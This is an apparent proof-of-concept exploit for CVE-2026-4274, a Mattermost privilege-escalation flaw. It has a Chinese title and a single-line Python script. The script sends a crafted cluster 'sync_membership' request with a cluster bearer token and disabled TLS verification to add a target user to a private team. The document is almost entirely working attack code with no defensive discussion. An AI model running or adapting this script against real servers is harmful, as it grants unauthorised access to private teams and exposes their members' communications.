CVE-2026-4274 Mattermost 权限提升漏洞

# Conceptual PoC for CVE-2026-4274 # This script demonstrates how a malicious cluster might send a crafted sync message. # Note: Actual exploitation requires a valid cluster setup and acceptance by the target. import json import requests TARGET_HOST = "https://target-mattermost.com" API_ENDPOINT = f"{TARGET_HOST}/api/v4/cluster/sync_membership" # Malicious payload crafted to grant full team access payload = { "sender_cluster_id": "malicious-cluster-node", "user_id": "target_user_id", "team_id": "private_team_id_to_access", "channel_ids": [], # Empty to imply full team sync or bypass channel restriction "action": "sync_membership" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <CLUSTER_TOKEN>" # Requires valid cluster token } def send_exploit(): print(f"[*] Sending crafted membership sync to {TARGET_HOST}...") try: response = requests.post(API_ENDPOINT, data=json.dumps(payload), headers=headers, verify=False) if response.status_code == 200: print("[+] Sync request accepted. User may have been added to the private team.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()